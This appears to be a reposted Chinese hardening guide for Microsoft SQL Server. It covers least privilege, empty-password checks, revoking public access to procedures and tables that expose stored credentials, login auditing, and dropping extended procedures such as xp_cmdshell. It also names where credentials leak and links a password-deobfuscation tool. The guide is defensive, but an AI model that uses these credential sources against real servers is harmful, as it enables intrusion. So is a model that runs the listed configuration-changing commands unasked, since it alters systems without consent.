Microsoft SQL Server Management Studio -> SQL Server -> 安全性 -> 登錄名 -> 選擇要刪除的用戶名(右鍵)
限制啟動賬號權限
啟動mssql的用戶權限過高,會導致其子進程具有相同權限,參考配置操作:
Microsoft SQL Server Management Studio -> SQL Server ->屬性(右鍵) -> 安全性
新建SQL server服務賬號后,建議將其從User組中刪除,且不要把該賬號提升為Administrators組的成員,授予以賬戶最少啟動權限。
權限最小化
在數據庫權限配置能力內,根據用戶的業務需要,配置其所需的最小權限,參考配置操作:
Microsoft SQL Server Management Studio -> SQL Server -> 屬性(右鍵) -> 安全性
數據庫角色
使用數據庫角色(ROLE)來管理對象的權限,參考配置操作:
Microsoft SQL Server Management Studio -> SQL Server -> 安全性 -> 服務器角色(右鍵)-> 新服務器角色
調整角色屬性中的權限,賦予角色中擁有對象對應的SELECT、INSERT、UPDATE、DELETE、EXEC、DRI權限
是否存在空密碼用戶
對所有賬戶的屬性進行審計,包括空密碼、密碼更新時間等。修改目前所有賬號的口令,確認為強口令。特別是sa賬號。
select * from sysusers select name,Password from syslogins where password is null order by name # 查看口令為空的用戶
使用sp_password更新用戶密碼,特別是sa 賬號,需要設置至少10位的強口令。
exec sp_password 'old_passwd', 'new_passwd', sa
鎖定特權
默認情況下,SQL Server安裝會在模型數據庫之外的所有數據庫中授予guest帳戶公共角色成員身份。 建議在Windows中禁用guest帳戶,并撤消其對除master和tempdb之外的所有數據庫的訪問權限。參考配置操作,使用以下命令刪除數據庫訪問權限
use msdb; exec sp_revokedbaccess guest;
Public不應訪問Web任務表,因為它們可以使表數據可供Web客戶端使用。 特權應被撤銷:
revoke update on mswebtasks to public revoke insert on mswebtasks to public
Microsoft數據轉換服務(DTS)程序包是一組COM接口,可用于在SQL Server上使用以下命令執行許多管理任務:T-SQL,Windows腳本和可執行工具。 默認情況下,企業管理器用戶可以訪問可用DTS軟件包列表。 過程sp_enum_ dtspackages將顯示可以輸入到sp_get_dtspackage中的軟件包名稱和ID號,這將返回軟件包數據。 然后,攻擊者可能會將程序包放入他的SQL Server本地安裝中,并查看程序包詳細信息,其中通常包含其他服務器的憑據。 這些程序的特權應被刪除:
revoke execute on sp_enum_dtspackages to public revoke execute on sp_get_dtspackage to public
sp_get_SQLAgent_properties存儲過程,用于顯示SQL Server代理服務連接到數據庫服務器的混淆密碼。 使用此工具(http://jimmers.narod.ru/agent_pwd.c)可以解混淆。 應刪除此程序的權限:
revoke execute on sp_get_SQLAgent_properties to public
Microsoft數據轉換服務(DTS)用于處理來自多個源(例如OLE DB,ODBC或文本文件)的數據。 連接密碼以明文形式保存在Col11120列的表RTblDBMProps中,因此任何具有選擇特權的人都可以檢索到。 使用以下命令鎖定此表的權限:
revoke select on RTblDBMProps to public revoke update on RTblDBMProps to public revoke insert on RTblDBMProps to public revoke delete on RTblDBMProps to public
開啟日志審計功能
數據庫應配置日志功能,對用戶登錄進行審計,日志內容包括用戶登錄使用的賬號、登錄是否成功、登錄時間等。
打開數據庫屬性,查看安全性,將服務器身份驗證調整為“SQL Server 和Windows身份驗證模式” ,安全性中的登錄審核調整為“失敗和成功的登錄”。
Microsoft SQL Server Management Studio -> SQL Server(右鍵) -> 屬性 -> 安全性
或者通過將以下(隔開敏感詞)注冊表值設置為2(將其設置為3還將記錄成功的登錄):
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\AuditLevel
禁用不必要的網絡服務
SQL Server使用的網絡通信協議應限制為最小基礎架構所需。 禁用SQL Server運行冗余服務。 啟用陌生的網絡通信協議,可能增加數據庫網絡風險。TCP/IP是最常用的用于SQL Server的網絡協議棧,它與SSL一起為訪問SQL Server提供安全的基礎。
Microsoft SQL Server程序組, 運行服務網絡實用工具。建議只使用TCP/IP協議,禁用其他協議。
SQL Server Configuration Manager -> SQL Server網絡配置 -> MSSQLSERVER的協議
加固TCP/IP協議棧
查看注冊表鍵值
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DisableIPSourceRouting HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\EnableICMPRedirect HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\SynAttackProtect
參考配置操作
對于TCP/IP協議棧的加固主要是某些注冊表鍵值的修改。主要是以下幾個:
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DisableIPSourceRouting #說明:該鍵值應設為2,以防御源路由欺騙攻擊。HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\EnableICMPRedirect #說明:該鍵值應設為0,以ICMP重定向。HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\SynAttackProtect #說明:該鍵值應設為2,防御SYN FLOOD攻擊。
使用加密通訊協議
啟動SQL Server配置工具,啟用“強制協議加密”。
SQL Server Configuration Manager -> SQL Server網絡配置 -> MSSQLSERVER的協議(右鍵) -> 屬性
查詢已有的所有的存儲過程
select * from sysobjects where xtype='P'
或者
Microsoft SQL Server Management Studio -> SQL Server -> 數據庫 -> 系統數據庫 -> master(舉例)-> 可編程性 -> 存儲過程/擴展存儲過程 -> 系統存儲過程/系統擴展存儲過程
刪除SQL Server中存在的危險存儲過程:
exec sp_dropextendedproc 'xp_cmdshell' exec sp_dropextendedproc 'xp_dirtree' exec sp_dropextendedproc 'xp_enumgroups' exec sp_dropextendedproc 'xp_fixeddrives' exec sp_dropextendedproc 'xp_loginconfig' exec sp_dropextendedproc 'xp_enumerrorlogs' exec sp_dropextendedproc 'xp_getfiledetails' exec sp_dropextendedproc 'Sp_OACreate' exec sp_dropextendedproc 'Sp_OADestroy' exec sp_dropextendedproc 'Sp_OAGetErrorInfo' exec sp_dropextendedproc 'Sp_OAGetProperty' exec sp_dropextendedproc 'Sp_OAMethod' exec sp_dropextendedproc 'Sp_OASetProperty' exec sp_dropextendedproc 'Sp_OAStop' exec sp_dropextendedproc 'Xp_regaddmultistring' exec sp_dropextendedproc 'Xp_regdeletekey' exec sp_dropextendedproc 'Xp_regdeletevalue' exec sp_dropextendedproc 'Xp_regenumvalues' exec sp_dropextendedproc 'Xp_regread' exec sp_dropextendedproc 'Xp_regremovemultistring' exec sp_dropextendedproc 'Xp_regwrite' drop procedure sp_makewebtask
刪除不必要的存儲過程,一般情況下建議刪除的存儲過程有:
sp_OACreate sp_OADestroy sp_OAGetErrorInfo sp_OAGetProperty sp_OAMethod sp_OASetProperty sp_OAStop sp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumvalues xp_regremovemultistring
不是應用程序必須使用時,建議刪除以下存儲過程:
xp_perfend xp_perfmonitor xp_perfsample xp_perfstart xp_readerrorlog xp_readmail xp_revokelogin xp_runwebtask xp_schedulersignal xp_sendmail xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap xp_sprintf xp_sqlinventory xp_sqlregister xp_sqltrace xp_sscanf xp_startmail xp_stopmail xp_subdirs xp_unc_to_drive xp_dirtree xp_sdidebug xp_availablemedia xp_cmdshell xp_deletemail xp_dirtree xp_dropwebtask xp_dsninfo xp_enumdsn xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks xp_eventlog xp_findnextmsg xp_fixeddrives xp_getfiledetails xp_getnetname xp_grantlogin xp_logevent xp_loginconfig xp_logininfo xp_makewebtask xp_msver
SQL Server的遠程訪問功能,允許網絡上的其他SQL Server遠程連接并執行存儲過程。 如果不需要此功能,則應使用以下命令禁用該功能。
execute sp_configure 'remote access', '0' go reconfigure with override go
或者使用Microsoft SQL Server Management Studio
Microsoft SQL Server Management Studio -> SQL Server(右鍵) -> 屬性 -> 連接
配置選項“允許更新”定義數據庫用戶是否可以直接更新系統表。 這對于高級管理員來說可能是有用的臨時功能,但對于正常操作,應該將其禁用:
execute sp_configure 'allow updates', '0' go reconfigure with override go
SQL Server Monitor,它偵聽UDP端口1434并提供客戶端不應訪問有關服務器上存在的實例的信息,并且SQL Server將在其被阻止的情況下運行。 防火墻或應阻止來自TCP端口1433和UDP端口1434的外部通信。異構查詢或臨時查詢允許數據庫用戶使用本地數據在遠程服務器上執行查詢。 該功能可能被濫用以強制使用遠程或本地訪問憑據,應在不需要此功能時,將其禁用:
exec xp_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\Providers\SQLOLEDB', N'DisallowAdhocAccess', N'REG_DWORD', 1
如果不需要,則應禁用SQL Server代理,Microsoft分布式事務處理協調器(MSDTC)和MSSearch服務。 可以使用企業管理器或通過在Windows Services管理工具中將其啟動類型設置為“停止”來關閉服務。
Microsoft SQL Server Management Studio -> SQL Server -> 管理
或者設置注冊表值禁用服務:
exec sp_set_sqlagent_properties @auto_start=0 exec xp_regwrite N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSDTC', N'Start', N'REG_DWORD', 3 exec xp_regwrite N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSSEARCH', N'Start', N'REG_DWORD', 3
進行這些更改后,應手動停止服務或重新啟動服務器。
最后的步驟是確保應用最新的服務包和補丁程序。將顯示SQL Server的當前版本。
select @@version
到此,相信大家對“如何解決MSSQL數據庫被攻擊問題”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。